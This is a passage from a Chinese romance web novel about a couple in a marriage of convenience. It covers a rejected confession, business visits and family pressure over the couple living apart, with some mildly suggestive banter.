孟翰泽觉得今晚的自己特别的笨口拙舌,心里明明想说的是他对她的好感绝对不仅仅在于生理,话一出口却变成:“禾苗,我并不需要没有感情的亲密关系……” 梁奚禾倒不是觉得有感情的亲密关系就一定了不起,只是下意识地反问:“那你领证前准备体检报告干嘛?你总不会是想告诉我,素未谋面你就暗恋我吧?” 她的逻辑毫无问题,是他在短时间里对这段婚姻有了情感需求,事先也没有预料到会有这样的变化。 然而对于这种形势转变,他还没有十足的作战计划,导致孟翰泽此刻只能干巴巴地说:“不是,禾苗,当时我没有想那么多,但是现在我希望我们不会仅仅只是……” 轮到梁奚禾打断他:“我也没有想那么多。” 她凭女孩的直觉,觉得事情变得有点复杂,并不是往她想要的方向走去。 在他说出更多的不可收拾的话之前,她说道,“孟翰泽,我承认自己对你有好感,也有非分之想,但我没有想过要跟你谈恋爱。” 顿了顿,补充,“应该说我没有想过要跟任何人谈恋爱。” 孟翰泽心里一沉。 “为什么?”他问。 梁奚禾沉默,从前她并不喜欢跟别人剖析自己的想法,他到底不太一样,这会儿她只是不知道该怎么剖析自己这种别扭的心理。 孟翰泽却没打算绕过这个话题,她的每个想法如今对他而言都至关重要。 在他执着的目光下,过了一会儿,梁奚禾开口:“跟越多人产生感情羁绊,人会活得越累。” 小时候,她想学架子鼓和街舞,奚云岚却说大提琴和芭蕾更能培养气质,所以她学了后者。 等到她终于培养出那么点古典气质,打算去国外学点艺术方面的专业时,奚云岚又说这些对前途没用,她该学商科,为接班做准备。 更不用说她热衷的漫画了,在奚云岚眼里一文不值,还会看坏眼睛。 因为珍视跟父母的感情,从小到大她都在努力满足他们的期待,一次又一次在“坚持做自己”和“愧疚感”之间反复横跳,直到终于受不了,刹车喊停。 然而看到他们觉得很是受伤,她又会心软,如果不是那天心软说出“谈了很多年”这样的谎言,也不必跟他近距离接触,也就没有今天的局面。 另一方面,梁奚禾觉得自己说了他可能也不会相信,表面恣意洒脱、不愿意接班就擅自找人联姻的她,其实对身边人有莫名的责任感。 比如,她回来的一路上除了想要攻略他,已经想好了怎么帮夏初跟倪家牵线,即使夏初从来没有想过让她沾手。 所以,她最初拿婚姻当筹码就是因为从不打算在人生再多添加一道羁绊。 “这么说,不知道你能不能明白,我举个例子吧。” 梁奚禾严肃地说,“我不喜欢宁市寒冷潮湿的冬天,本来领完证我就打算去南半球待上几个月的。如果你是我的合作伙伴,你需要我回来陪同参加什么活动,我不愿意,可以在其他方面补偿你,大家很公平。 “可如果你是男朋友,你说你想我,我大概就不得不放弃我的行程飞回来陪你。 “我不太想自己的生活为谁让步,至少这几年还不想。” 说了这么多,她总结陈词,“看来这次我跟孟总没办法达成共识了。那今晚的事就当没发生过吧。” 她云淡风轻地笑笑,抓起扔在沙发上的手包就准备离开。 在她转身的刹那,孟翰泽似乎终于消化完毕了她的这些话,握住了她的手腕。 “禾苗。” 他说道,“本来没打算今晚就跟你聊这些,就像你说的,我对你还不够了解。” 但是既然说到了这里,他也不再藏掖。 “我最初也没打算跟谁谈感情,也觉得对一个陌生人动心纯属无稽之谈。” 可那天看到法拉利无所畏惧地冲上坡道,他心里的波澜是真实的,对她的好奇也是真实的。 他缓声道,“我们就从普通朋友开始做起……” 梁奚禾没给机会:“最忌讳跟朋友合伙做生意了不是吗?孟总,谢谢你这段时间无微不至的照顾,以后我们还是保持距离吧,就同当初协议约定的那样。” 她转动手腕从他手里挣脱出来,颔首致意后款步离开。 过了一会儿,他收到银行的信息。 双方家长见面后,梁茂林给女儿转了半个小目标的现金,从前拿财政大权威胁她,如今怕她因为手头紧在小家庭地位不保。 梁奚禾既感动又心酸,没有护照,她有这么多钱也是坐井观天,逍遥不起来。 但这会儿她可以把迄今为止,他送的戒指送的跑车还有转账之类的,通通等价还给他,互不相欠。 孟翰泽停留在原地拧着眉收起手机。今早还觉得渐入佳境,他也终于认清自己的心,谁知晚上一切又都回到原点。 说她是刺豚不够准确,分明是刺猬,遇到事情除了张开尖刺,还会将身体团成一团,变成一个球体,让人完全不知从何下手。 只是他一向有耐心,慢慢来就是了。 第32章 这一天,宁市餐饮业巨头倪大均倪董,过得颇为忙碌与新奇。 上午,他在办公室接待了孟氏集团太子爷。 梁孟二氏各有各的拥趸,彼此良性竞争,一贯井水不犯河水。他属于梁氏一派,与孟氏素无往来,前几日接到秘书汇报说孟总想来拜访自己时还极为诧异。 转而想起,这位孟总如今是梁茂林梁董的东床快婿——两家虽尚未对外官宣,但双方家长在松鹤园见面,久未下山的孟女士也露了面,消息早已震动了宁市的名流圈,联姻已经不是什么秘密。以后他和这位孟总打交道的机会想必多多,眼下不过是开始而已。 这么一想,他又反应过来,梁孟两家到了这一代突然联姻,确实打得诸人措手不及,倒也应该乐见其成,说不定大家都会因此迎来新的发展机会也未可知。 是以,孟翰泽依约到达时,倪董事长拿出了十分的热情招待。 孟翰泽却表现得十分谦逊,以晚辈之礼向他问好,还带了见面礼,除了常规的烟酒,重头戏是齐白石的画作,一幅立轴水墨纸本,精湛的笔墨和艺术视角将虾的形态和神韵表现得淋漓尽致。 倪大均惊喜之余,内心惶恐,瞻仰过后小心翼翼地将珍品收回盒中,双手托举着放到办公桌上,走回沙发。 “孟总,请坐,快请坐。”他热情中带着点殷勤。 孟翰泽却等他先坐,才单手解开西装扣子在他对面坐下,礼数十分周到。 倪大均瞅着这身姿挺拔、气度不凡的年轻人,心里在扼腕叹息。 这孟家的太子爷他是不敢肖想,但曾几何时他也为女儿订下过各方面都相当出众的年轻人,哪里知道那司家的小儿子却是个中看不中用的,差点毁了女儿后半生的幸福。 他到底不如梁董眼光老辣。 及时打住了胡思乱想,倪大均坐正了身体,略抬手掌请对方喝茶。 饮过茶,他才开口询问:“孟总今天拨冗前来,不知所为何事?” 他说话客气,并不敢对梁家的女婿以长辈自居,尤其,他瞥了一眼办公桌,对方带来那般贵重的礼物,怕是有什么要事要让自己沾手,也不知道是不是泼天的富贵,他们倪家能不能接得住。 孟翰泽微笑道:“今天我冒昧前来是为了感谢倪伯伯。” 倪大均:? “怀表,多谢倪伯伯割爱。” 原来是这件事,倪大均没失望,反而心下大定,说话也就随意起来。 “小事一桩,不足挂齿,就是那天禾苗要得急,大半夜的让老二来找我,我还以为出了什么事,吓了一跳。” 孟翰泽来之前就组织好了语言,也没管梁奚禾是如何从倪家取得的怀表,他只管把这事揽到自己身上,将她摘出去。 这样,就算之后姚德平细究将事情翻查出来,一切也都跟她无关了。 他笑笑:“祖父生前收藏的怀表前几天不小心摔坏了,我送去修理,谁知现在的师傅对早年的机芯都不大内行,没有原装参考竟然不会修。那天禾苗看我着急,突然想起倪伯伯恰好有同款的怀表,所以冒昧来叨扰了。” 倪大均恍然大悟:“原来是这样,老二也没跟我说清楚。没想到我还能跟孟老先生有同款收藏,能帮上忙是我的荣幸,孟总不必放在心上。” 他朗声笑道,“我这人厨子出身,文化程度不高,就是附庸风雅跟着别人玩玩收藏,都是三分钟热度。” 孟翰泽自然清楚这一点,知道他前几年玩钟表,现在迷上了收藏书画,所以今天带来的是名画藏品,但没接他的自谦之语。 那一支怀表,倪大均确实没放在心上,说值钱也没有多少的东西,能让梁家大小姐记着女儿的人情已经很值得,如今还能让这位孟总特地带重礼上门感谢,更是物超所值。 早知道这样,那天晚上他就应该让司机把自己那个表柜整个打包送去孟家,现在显得他格局小了不是。 “不值一提,不值一提啊!” 他连连摆手。 孟翰泽从善如流:“那事情以后不提了,但倪伯伯的情意我记在心里。” 人家又是回重礼又是记人情,这样的知情知趣,倪大均又怎么好意思再将此事挂到嘴边,还暗自心想着回去要提醒女儿,以后千万别在外面提起此事,以免让梁孟两家觉得倪家挟恩图报、眼皮子浅。 倪大均转移话题,又就这书画收藏与人闲聊。他是半路出家,孟翰泽却深受母亲的熏陶,涵养丰足,几句下来,倪大均露了怯,尴尬地端起茶杯抿了一口。 他开动脑筋,再找话题:“听说孟总和梁董准备合作?” 新公司的筹备如火如荼,不日即将官宣,孟翰泽也没隐瞒:“是的。” 倪大均要是有心入股也要找梁茂林,断没有从孟氏这边切入的道理,因此他在孟翰泽面前只是拿这个话题拉近距离,并不往生意里深聊,只谈些无关痛痒的事情。 “新公司叫什么名字?” 孟翰泽说了两个字,倪大均听了音觉得诧异:“哪两个字?” 孟翰泽沉吟:“倪伯伯,有纸吗?” “哦有。”倪大均赶紧起身,去办公桌侧的打印机纸盒里抽了张A4纸出来。 孟翰泽从内袋中掏出藏蓝色的钢笔,倪大均就见到他在纸上龙飞凤舞地写了两个大字,接过来看时,他第一反应是“到底是书香世家培养的孩子,不像自家那两个写的都是狗爬”,然后才关注字的本身。 “羲和?” “是,羲和特材。” 倪大均露出恍然大悟的笑容,慈祥得不行:“这是我们禾苗的大名啊。” 这会儿要换成倪二,铁定就说“嗑到了”。 孟翰泽没否认,只笑道:“羲和象征着太阳和光明。” 这个名字寓示着羲和特材是抓住国家大力发展光伏科技的历史机遇,致力于生产与光电、核电等新型能源发展相适应的不锈钢管材等产品的公司。 至于其中有没有因为梁奚禾的缘故,那肯定也是有的。 “好名字好名字。” 倪大均笑呵呵地又问,“新公司选址就在孟氏大楼东片?” 孟翰泽确认了这个消息,知无不言地说在新大楼落成前,孟氏大楼会辟出五层楼供新公司团队临时办公过渡。 再关于股权架构、高层人员选调之类的事宜就太细节了,倪大均很知趣地没有再探听。 聊到此处也算得上宾主尽欢,孟翰泽起身告辞,客气地说:“哪天倪伯伯有空,欢迎来家里吃顿便饭。” 倪大均受宠若惊地送完客,坐到转椅上给女儿打电话交代了几句,还没从中回神,女儿又回了电话过来。 “爸爸,您下午在不在公司?禾姐说要给您送点下午茶。” “在,我在。”倪大均觉得这俩孩子真是太客气,令他有种备受重视的熨帖。 中饭他没吃多少,自己也说不好是不是在等点心,下午两点多,秘书来敲门:“倪董,梁小姐到了。” 倪大均大吃一惊,起身相迎:“禾苗,你怎么亲自来了?我还以为你叫的外卖……” 眼神顺势落在梁奚禾的手上,见两只手都是空的,他尴尬地顿住,这话说得他从上午开始一直在等着吃似的。 梁奚禾笑笑:“倪伯伯见谅,我找朋友定制的糕点,约的两点半,我提早到了十分钟。” “嗨呀。”倪大均又笑起来,“跟伯伯还客气啥呀?” 问她喝咖啡还是茶。 梁奚禾:“上回在倪伯伯的餐厅喝到的白毫银针很好喝,公司里您备了吗?” 这话以及熟稔的架势令倪大均备是受用:“有啊,当然有。”马上吩咐秘书去泡茶,又让她坐。 梁奚禾:“今天我来就是想谢谢倪伯伯的怀表……” 倪大均笑着摆手:“这事儿以后不许再提了!能帮忙把孟老先生的表修好,我作为晚辈也很荣幸。结果孟总上午送来谢礼,你又特地跑一趟,你们小夫妻俩这么客气是不是太见外了?搞得伯伯我可真是惭愧至极。” 梁奚禾笑意微不可察地一顿。 孟翰泽上午来过?修表? 自从那晚之后,她就没再往西楼去,两人微信上也没有联系,并没有串过口供。 梁茂林和奚云岚送了问候的果篮去医院,但没提让她去医院探望姚德平。因此,除了微信上偶尔收到亲戚朋友道贺两句,还有孟淑慧关心她的感冒和伤口恢复,她的生活又回到领证前,和孟家几无交集的状态。 但不能在外人面前暴露两人不熟,她笑道:“本来早上想跟他一起来的,但太早了,我起不来。” 倪大均表示理解:“老二也起不来,冬天了嘛,正常。再说你们小姑娘家的又不上班,起那么早干嘛?” 说话间,夏初的电话进来,梁奚禾道:“倪伯伯,糕点到了,我下去拿。” 倪大均:“你别动,我让人下去。” 却被她婉拒:“那不行,我拜托朋友私人订制的糕点,她百忙之中给我送来,我怎么好拿架子?” 到了楼下,夏初拎着两个礼盒,神色复杂地看着梁奚禾:“禾苗,你今天是不是特地来帮我谈合作的?” “不是,我的面子没这么大,最多就是帮忙递个投名状。” 梁奚禾接过礼盒,“你回去吧,我先上去了。” 夏初抿了抿唇:“谢谢宝贝。” 她知道梁奚禾不爱搭理生意场上的事,所以一开始就没想过要借梁家的势,但这段时间也明白只靠自己有点难。 这会儿也不再多说客套的话。 倪大均的秘书就等在梁奚禾身后不远,接过礼盒一同上楼,回到倪董办公室,秘书将其中一个礼盒打开,端到茶几上。 梁奚禾:“倪伯伯,请尝尝,这是我朋友家里传了几代的手艺,我从小吃到大。” 在她的注视和介绍下,倪大均很给面子地每样都尝了半块后端起茶杯轻啜。 梁奚禾笑道:“白毫银针配这山药糕、龙须酥几样,是不是甜而不腻,唇齿留香?” 倪大均点头:“不错,这点心好吃。” 不论他说的真心话还是客套话,梁奚禾趁势意有所指地说道:“上次在餐厅吃饭,我就在想倪伯伯家的好茶,得配什么样的茶果才好。” 她状似闲聊一般,倪大均却觉得这话说了一半留了一半,遂抬眸深深地看她一眼。 梁奚禾却没打算点名,将杯中茶饮尽后笑盈盈地起身告辞:“倪伯伯您忙,我也给倪总送点点心去。” 倪大均将人送走,琢磨着,俯身将礼盒上的品牌logo仔细端详了两眼。 能让梁大小姐亲自下楼去接的糕点,他以前是不是孤陋寡闻了? 总裁办公室,倪家太子爷倪睿见到来人,靠在转椅中吊儿郎当地嘴角一扯:“Thea?真是稀客,今天怎么会大驾光临?” 宁市想跟梁家联姻的人家不在少数,包括倪家。她上高三时,倪睿已经大四快毕业,没打算读研就进了倪氏实习。那年他受父母之命时不时往梁家送好吃的好喝的,说是给她补身体备战高考,明眼人都看得出来是怎么回事。 因为梁奚禾完全没有情窦初开的迹象,见到倪睿跟见到司机大叔没什么两样,梁茂林和奚云岚也就按兵不动,没拒绝倪家的好意。 直到寒假的一天,两家聚餐,倪二偷偷拉着梁奚禾问:“禾姐,你是不是会当我嫂子啊?”算是戳破了这层窗户纸。 当时长辈们觥筹交错,梁奚禾惊恐地对上了倪睿的视线,逼得这人第二天等在她上学路上解释。 “别误会,Thea,我把你当妹妹看,跟倪二一样,绝对没有什么不规矩的想法。而且我这人太花心,根本不打算娶一个千金大小姐回家,给自己加一副镣铐。你好好考试,不要多想。” 年少的梁奚禾觉得他大大方方解释误会,还挺酷的,至今对他这位花名在外的浪荡子说不上讨厌。 她把礼盒放到他桌上,直来直去毫无顾忌。 “倪大总裁灌我闺蜜酒的时候,有没有想过我婚礼用的甜品桌会订她家的?” 倪睿看了一眼logo,轻笑:“我哪知道那是你闺蜜啊?” 梁奚禾轻哼一声:“就算不是我闺蜜,你那酒桌文化是不是也该改革改革了,免得人还没老,臭味就这么明显。” 被她嫌弃,倪睿也不生气,贫嘴道:“你家孟总比我还大两岁,谁更老啊?” 他无心调侃的“你家孟总”四个字,让梁奚禾被反将了一军,她顿了顿,反驳:“孟翰泽可没有灌女生酒的陋习,你以后向他多学着点。” 倪睿“啧啧”两声:“难怪都说女大不中留呢,好歹咱俩从小认识,我也算半个哥哥吧,他就这么好,我就这么不值钱?” 梁奚禾今天不是来怼他的,随口敷衍道:“不值钱我也不会亲自来给你送下午茶了。” 将礼盒郑重地往他面前推了两分,“倪大总裁,尝尝吧,然后摒弃你的性缘脑,客观地做个决定。” “你梁大小姐亲自送来的糕点,恩威并施,我还有可能客观地做决定吗?”他笑。 梁奚禾不跟他废话:“那我就等着你明年的营业额再创新高的时候,给我送谢礼了。” 算是帮夏初牵上线,了却一桩心事了,她走出倪氏大楼时顿感轻松,坐上兰博基尼,却不由自主地想起孟翰泽。 这段时间她家梁董很忙,忙着新公司成立的事,所以他也应该很忙才对,竟然还顾得上为了怀表的事亲自来一趟倪氏。其实如果不是想帮夏初牵线,她都不会来找倪大均,怀表已经用出席倪二的圣诞派对交换,并不值得她再特地跑这一趟。 该说他是一个礼数周到的人,还是…… 手指轻敲方向盘,梁奚禾不期然地想起那天在松鹤园,他当着高阔的面递给她怀表说的那句“帮我收好”。 还有这两天高阔出任西楼管家后,过来找雷迪对接工作,顺便跟她提起姚德平的情况。 听说姚德平肺部有些炎症,死不了,但仍旧住院调养。恢复精气神的人躺在病床上指挥这个指挥那个去调查松鹤园当天的里里外外。 趁雷迪去沏茶,高阔压低了声音说道:“监控底下的松鹤园十几年如一日的平静祥和,姚董疑心有人作怪又找不到事实证据,只能让我爸爸去找得道高僧,到园子里念几场经了。” 梁奚禾听得明白,她想吓唬姚德平的目的是达成了,但这后面不知道有多少人在替她善后。 尤其是孟翰泽。 他出面谢倪大均无非就是想用重礼把她借走怀表一事压下去,就算没压彻底有朝一日被姚德平翻出来,姚德平也会怀疑他是知情者甚至是始作俑者,而她则能在这件事上完美地隐身。 梁奚禾将头后仰,靠在椅背上。 又受了他的照拂。 不知道怎么还这个人情。 令人烦躁。 驱车回到双子大厦,停稳车,梁奚禾看到了奚云岚的座驾,也发现了法拉利和马斯顿马丁的“玻璃罩”被拆掉了。 她上前摸了摸两辆“久别重逢”的爱车,疑惑地上去87楼。 客厅里,奚云岚正在同雷迪说话,听到玄关的动静侧头瞥了梁奚禾一眼。 又继续说:“ProfessorWang跟我相识多年,我把你的情况还有简历发给他看了,他觉得你很优秀,所以我请他写了这封推荐信,希望对你申请学校有帮助。” 雷迪感动万分,没想到奚总竟然会替她考虑这么周全。 “谢谢奚总……”除了谢谢,她不知道该说什么。 奚云岚摇头,柔声道:“雷迪,谢谢你这么多年帮我照顾女儿,以后照顾好自己。将来学成归来,欢迎你考虑加入梁氏。” 收起刀子嘴的奚总让梁奚禾也有亿点点的感动,她走上前去,还未说话,注意到了坐在奚云岚旁边,刚刚被挡住身形的梅姐——那位会给她通风报信奚总晴雨表的助理。 “梅姐,你也来啦。”梁奚禾打招呼。 奚云岚替人回答:“May从今天开始接手雷迪的工作,以后作为你的私人管家帮你打理家庭事务。” 她今天来就是安排此事。 梁奚禾:! 梅姐起身笑笑。她的站姿与雷迪同样的挺拔,但身上淡然笃定的气质更胜雷迪一筹,那是年岁和阅历造就的,雷迪到底年轻。 奚云岚很满意她的这个助理,将她给到梁奚禾,可谓是在事业上自断一臂,但是没办法。 孟家那边派了精明能干的高阔来打理事务,她相信孟淑慧的好心,可不代表放心女儿身边没有自己的人,生活起居全捏在孟家手里。 梅姐:“奚总放心,以后Thea的大小事务我都会跟高管家协调合作。” 她办事,奚云岚当然放心,只有梁奚禾郁闷。 等妈妈一走,她瞅着梅姐:“这位姐姐,凭咱俩之前的交情,以后我是该信任你,还是该防着你?” “当然是信任我。”梅姐挑眉,得意地笑笑,“我是跟奚总谈好条件来的,绝对不做夹心饼干两面派。” 梁奚禾松了一口气,尚未松到底,又听她说。 “奚总说以后别的她不管,就想知道为什么你们新婚夫妻总在分居。” 梁奚禾:? 雷迪紧抿唇角低下了头。 真的不是她打小报告啊,是奚总来的时候正好听到高阔在跟她对接:“一般Thea到西楼留宿的频率是?我来之后还没见过她过去。” 梁奚禾:“……” 别告诉她,新来两位管家是来帮婆婆妈妈监察彤史的吧?! 第33章 午休过后,孟翰泽如常处理工作。 姚德平入院后,孟氏的日常工作由他代为主持,事务性工作处理起来他早已游刃有余,唯一算得上困难的就是跟几位意见多多的大股东周旋,其中最难缠的莫过于樊瑞的父亲,樊坚。 下午,樊坚不请自来,并且眉宇间透着阴沉,摆明了来者不善。 孟翰泽起身相迎,淡定地吩咐秘书:“去冲一杯上个月我从巴西带回来的圣多斯咖啡。” 听到他清楚地记得自己的喜好,樊坚脸色稍霁,但该“兴师问罪”的一句也没落。 他开门见山地问道:“羲和特材挂牌后,你们还打算成立一个技术研发中心?” 成立新公司需要孟氏董事会通过,但在新公司内部成立技术研发中心却算内政,不用再上集团董事会。樊坚并不在新公司的高层架构中,所以在今天之前并不知情。 孟翰泽不知道他从哪里听来的消息,也没打算隐瞒,大大方方地承认了。 樊坚皱眉:“孟氏成立至今,生产的管材、棒材、线材等等远销上百个国家和地区,参与海内外的重大项目上千余项,靠的就是我们钢铁实验室的研发创新,这个实验室是由国家认可委员会认可的。” 秘书将咖啡呈上来,他停顿话语,曲起两根手指在茶几上敲了敲示意,等人退出去后,才继续说下去。 “既然现有实验室的研发能力足以保证孟氏的发展,为什么还要投入大量的成本成立新的技术研发中心?” 樊坚从一开始就不赞成与梁氏合作成立新公司,别说现阶段他没看到开拓产品应用领域的必要性,就算要进军新的领域,孟氏也有足够的实力和资本,并不需要跟谁搭伙。 当然,少数服从多数,董事会已经表决通过的决策他也不再赘言,只是孟氏掏出去的钱没投进车间生产产品,而是要烧到什么技术研发中心去,他绝对不能坐视不管。 “等羲和特材盈利了再说吧。” 这是他的建议,算是缓兵之计,也算是好言相劝。 孟翰泽坐在他的对面,手肘支在膝盖上,双手交握,呈认真聆听的姿态。 听他说完,孟翰泽微微一笑:“樊总,羲和特材是独立的公司,自然需要独立的研发部门。” 樊坚啜了口咖啡,有地道的焦糖和可可香气,不过此时的他无心慢慢品味,眉毛瞬间挑起,眼神沉了下来。 “一个研发中心需要多少投入不用我说,你心里应该清楚。放着现成的实验室不用,进行重复投资,这不是明智的选择。翰泽,我知道你急于证明自己的能力,所以联合你老丈人成立羲和特材,既然公司成立了,就脚踏实地好好干,不要妄想一步登天。” 在商言商之外,也因为将他视作子侄,樊坚放缓语气动之以情,“步子迈得太大容易摔跤,过犹不及,懂吗?” 孟翰泽点了点头,态度十分温和,然而回答却十分坚定。 “孟氏与梁氏的实验室放在全国来看都是行业翘楚,这点毋庸置疑。我希望羲和特材将来也能有一座与之媲美的技术研发中心。” 企业的生产能力也好、人员配备也好,这些固然重要,但核心资产还是专利技术。羲和特材如果没有独立的技术研发中心,而是依托于孟氏或者梁氏的实验室,那跟寄人篱下的孩子看人脸色吃饭有什么区别。 他不会让羲和特材在被人掐住脖子的状态下向前发展。 樊坚脸色不太好,孟翰泽却淡定如常,友好地解释道:“羲和特材会跟国内顶尖的大学还有设计研究院开展产学研合作,也已经确定几位教授双聘双跨。科研力量、资本投入,万事俱备,相信在不久的未来,羲和特材一定会给各位股东交上一份满意的答卷。” 樊坚起身:“既然是板上钉钉的事了,看来我这一趟来得多余。那就祝孟总大展宏图,早日得偿所愿吧。” “您慢走。” 送走了大股东,孟翰泽又投入到工作中,晚上七点才下班回家。 管家的位子交给高阔后,简腾顶替了原来凌叔的司机工作,因为待遇不变,他对此接受良好。 他往后视镜里瞥一眼,看到孟翰泽靠在座椅靠背上闭目养神,脚下的油门就踩得缓慢一些。黑色幻影平稳地驶入双子大厦的地库。 车甫一停稳,孟翰泽睁开眼睛,视线先落到对面的三部跑车上。 法拉利和阿斯顿马丁解封后,三辆车按照红黄绿的顺序停着,像交通信号灯。 孟翰泽嘴角微翘,不知道是不是她有意为之。 下了车,他往西楼走,边走边忍不住去看中间那辆黄色兰博基尼的新车牌。 宁ALXH57 当时没多想,她既然不喜欢她的生日,“黔驴技穷”的他只能换成他的生日。但当换好车牌的车辆重新出现在他面前时,他突然意识到一件事:这串字符在心里默念时,很像夫妻的私房呢喃。 梁奚禾吾妻 每默念一次,他的心跳都要加速一次。 意识到这串字符的不同后,让高阔去送车的那一晚,他有点紧张——怕她拒收。得知她收下后,他松了一口气,又开始期待,期待她会不会破译这个“密码”。 但显然没有。 孟翰泽无声轻笑,对自己丰富的内心活动无语,摁了电梯上楼。 高阔已经接到简腾的通知,知道他回来了,特地等在87楼的电梯间里。 电梯门一开,她满面笑容地迎接:“孟总回来啦?” 孟翰泽颔首:“有事找我?” “对,你先吃饭吧,边吃边说。” “好。” 孟翰泽往家门口走,高阔腿一迈拦住他的去路。 “到茶室吃,我让他们把饭菜布到茶室了。” 孟翰泽眉梢微抬,表示疑惑。 到了茶室,高阔给他盛了一碗米饭,然后站到他身侧。 “你不吃?”孟翰泽奇怪地看了她一眼。 “我待会儿下去吃。” 高阔清清嗓子,说道,“以前在园子里,人多,咱们像自家姐弟一样相处不用避嫌,但以后不行。我是管家,你是东家,咱们主仆,尤其还是异性主仆,相处必须得有边界感。Thea不在的时候,我不会进你的房子,有事咱们就在这里聊,请孟总务必配合。” 孟翰泽决定将高阔调来双子大厦是经过深思熟虑的。他需要一个人帮他安抚刺猬,打开缺口,可简腾一个大男人不好多去东楼走动。而高阔正合适,跟他熟悉,梁奚禾对她印象也好,又是女生,方便打入东楼内部。 既然是请来帮他追求老婆的帮手,自然不能令梁奚禾误会两人的关系。 他点点头:“你说得对。” “你吃你的,我说我的。” 高阔跟他分享情报,“今天奚总来了东楼。我不是帮你打探口风去了嘛,虽然当时不是故意的,但是我问雷迪Thea大概什么时候来西楼过夜的时候,不小心被奚总听到了,奚总脸色不太好……” 孟翰泽筷子顿住,脸色一变,抬眸看向高阔时带着谴责的眼神。 “阔姐,你就是这么打探消息的?” 他想到梁奚禾眼下的那道伤痕,怕她又跟奚总起冲突,语气不由地有些冲。 高阔知道自己今天帮了倒忙,羞愧挠头:“确实是我掉以轻心了,也有点急功近利,下不为例。你放心吧,我铁定帮你把老婆追回家。” 孟翰泽:“……” 开始怀疑自己调换管家的决定。 高阔:“我下午已经采购了Thea爱吃的零食水果送过去了,姑且算将功补过吧。而且我想,Thea要怪也只会怪我……” 她灵光一现,“对啊,你可以趁这次机会去关心一下情况啊,问问Thea奚总什么反应,接下来她打算怎么办……你甚至可以跟她一起骂我一顿,多好的机会拉近距离啊!” 孟翰泽:“……你先去吃饭吧。”。 洗漱完毕,孟翰泽倒了一杯水,坐到客厅上,握着手机,屏幕上是跟梁奚禾的对话框。 这几天怕她嫌烦,他没有主动发消息过去,精力都放在曲线救国上。几天的失联,导致现在发消息询问高阔的话有没有给她添麻烦就变得很突兀。 但不能不问。 她要是真以为他没打算再联系就糟了。 多种角度想开场白,片刻之后,他还是没有找到合适的说辞,只能去找虞高旻求救。 【你一般怎么找夏初聊天?】 虞高旻收到消息时,正跟夏初一起在书房里加班。原来宽大的书桌让给了夏初,他只能屈着腿坐到地板,电脑放在茶几上。 看到孟翰泽的问题,他下意识地看向转椅上的人。 今天回到家两人先亲密了一番,再一起冲了澡,这会儿她换上了睡裙,短发扣在小巧的耳朵上,尽管神情严肃,整个人却软萌得可爱。 他嘴角浮起笑意,沉浸在幸福之中,也不吝啬与好友分享。 【我啊?】 他不是故意卖关子,而是受强烈的分享欲驱使,打完两个字就迫不及待地点发送。 孟翰泽就收到了一段又一段的文字。 【宝宝,你在做咩啊?(咩~没错我就是咩~)】 【主人,我躺好了,请摸摸我的肚皮吧!肚皮以下也有点痒~】 【叮咚,您的外卖到了,服务超好不留一滴的外卖到了。】 虞高旻意会到对面的人为什么来取经,肯定是古板无趣被老婆嫌弃了。他嘴角噙着笑,随手发了几句发。骚的模版过去,教教古板男怎么开屏。 不过他没说的是,他家夏初答应交往的前提是有事打电话,没事不要发消息,不要当黏人精。 所以,这些模版他通通都还,没有实战过。 那边,孟翰泽:……? 眼睛被辣到了,鸡皮疙瘩掉了一地。 他退出对话框,默默地将跟此人的聊天记录删除。 抱起胳膊,靠进沙发里,思索。 良久,他起身上楼走向主卧。 这段时间,即使梁奚禾没有过来留宿,他也没有搬回主卧去,甚至把衣服都从主卧的衣帽间搬到了客房。 站在主卧门口,他抄起手机拍了张照片给她发过去,留言:【喜欢的是这样的床吗?】 梁奚禾正在画漫画,因为雷迪明天就要走了,她脑海里涌现许多两人在国外“相依为命”的场景,就想画下来,给彼此留个纪念。 她看到消息,将照片点开放大,是她喜欢的U型大比例厚垫式床头板,极简的意式风格,低调内敛的米色系。 但是,她喜欢的是这样的床,又怎么了? 谁家里没有啊? 她关掉图片,没回,继续回到画图软件。 孟翰泽等了一会儿,没收到回复,吃不准对方是忙着没看到,还是已读不回。 他想了想,又发了一条:【我把主卧的床换成了这一款,过来试试?】 梁奚禾画到新的部分,竟然忘了新建图层,皱了皱眉,又重新拿起振动得打扰到她的手机看了一眼,撇嘴。 这老男人好奇怪。 撩他的时候守身如玉恨不得立贞节牌坊,不撩他了又拿这种话题来反撩她。 梁奚禾眯了眯眼睛,回了他一句:【好。】 孟翰泽几乎在0.1秒之中从沙发上弹跳起来,怎么也想不到她会这么爽快地答应。 他将杯中水一饮而尽,到玄关处去迎接,三十秒后开门出去。 越迎越远,等他走到东楼电梯间时,梁奚禾正好出门。 她裹着羊驼毛流苏开衫外套,素面朝天,眼下的伤痕已经几乎看不到。 见到他,葡萄眼微微圆睁:“你是过来接我?” 孟翰泽神色温柔,带着笑意“嗯”了一声。 梁奚禾瞅他一眼,不咸不淡地说:“孟总客气了。” 两人一前一后地往西楼走,孟翰泽始终保持落后她半步,几次想找话题打破安静均告失败。 回到西楼,孟翰泽终于顺利开口:“我去给你倒水。” “不用了。” 梁奚禾脚下不停,直奔楼上,他只好跟上。 走到楼梯拐角处,她改了主意,“还是倒杯水吧。” “好。” 孟翰泽又转身下楼。 他端着温水进去主卧时,梁奚禾站在床尾处,似是在等他,又似是在打量这张新床。 孟翰泽走到她身边,柔声道:“阔姐问了雷迪,说你习惯这个牌子的床垫,我也一起准备了,应该不会再认床。” 梁奚禾接过水杯,问他:“孟总是知道今天我妈妈问我们分居的事了?” “嗯。”他顺势解释,“都是阔姐失言。” 她又问:“所以,我们形婚的事,你告诉阔姐了?” 孟翰泽一滞。 他当高阔是智囊团,所以没瞒着,但这会儿被她这么一问,他觉得有点不妥。 丈夫把夫妻之间的事告诉异性好友,应该是很多女生都忌讳的事。 他心下一慌,紧急组织语言解释。 没想到梁奚禾见他默认,反而松了一口气。 “挺好的。我也没打算瞒着梅姐,这样以后我们就不用在两位管家姐姐面前演戏了。” 孟翰泽一愣。 梁奚禾从手腕上退下真丝大肠发圈,和水杯一齐放到床头柜上,然后随手扯了一把被子,把床铺弄得凌乱几分,转身问他:“孟总,介意在那侧床边坐一会儿吗?” 孟翰泽不知道她要做什么,下意识地觉得要想生活过得去,还是她指哪儿他打哪儿为好。 等他依言坐到了对面的床沿,梁奚禾从衣服兜里捞出手机,找了个角度拍了张照。 极为精心的构图,画面中心是床头靠背和两个枕头,右下角是摆放着温水和发圈生活气息浓厚的床头柜,左边隐隐约约透出他的背影。 她发到前段时间梁茂林新建的家庭群里。 